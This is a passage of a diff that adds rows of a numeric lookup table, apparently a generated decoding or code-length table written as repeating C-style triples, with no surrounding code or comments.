+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,14},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{0,0,0},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,8,13},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,9,15},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,10,18},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,10,17},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{11,12,1984},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,12,50},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,34},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{10,13,1728},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,14},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{0,0,0},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,13},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,26},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{10,13,1472},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,12,32},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{11,11,1920},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,61},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,12,42},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{10,13,1088},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,8,14},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{0,0,0},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,13},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,9,15},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{10,13,832},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,62},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{11,12,2240},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,12,46},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,38},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{10,13,576},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,14},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{0,0,0},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,8,13},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,11,19},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,11,24},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,11,22},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{11,12,2496},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,10,16},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,10,0},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{10,10,64},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,8,14},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{12,11,0},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,13},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,9,15},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,10,18},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,10,17},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{11,11,1792},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,11,23},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,11,20},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,11,25},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,14},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{0,0,0},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,8,13},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{10,12,192},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{10,13,1344},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,31},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{11,11,1856},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,12,58},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,11,21},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{10,13,960},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,14},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{0,0,0},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,13},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,9,15},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{10,13,704},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,12,49},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{11,12,2176},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,10},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,45},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,12,37},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{10,12,448},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,8,14},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{0,0,0},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,13},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,12,29},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{10,13,1600},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,12,41},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{11,12,2432},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,9},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,7,10},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,10,16},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
+{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,10,0},{8,2,3},
+{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},{8,3,1},{8,2,2},
+{8,4,5},{8,2,3},{8,3,4},{8,2,2},{10,10,64},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},
+{8,3,4},{8,2,2},{8,6,9},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},
+{8,7,11},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,5,7},{8,2,3},
+{8,3,1},{8,2,2},{8,4,5},{8,2,3},{8,3,4},{8,2,2},{8,8,14},{8,2,3},{8,3,1},{8,2,2},
+{8,4,6},{8,2,3},{8,3,4},{8,2,2},{8,6,8},{8,2,3},{8,3,1},{8,2,2},{8,4,5},{8,2,3},
+{8,3,4},{8,2,2},{8,7,12},{8,2,3},{8,3,1},{8,2,2},{8,4,6},{8,2,3},{8,3,4},{8,2,2},
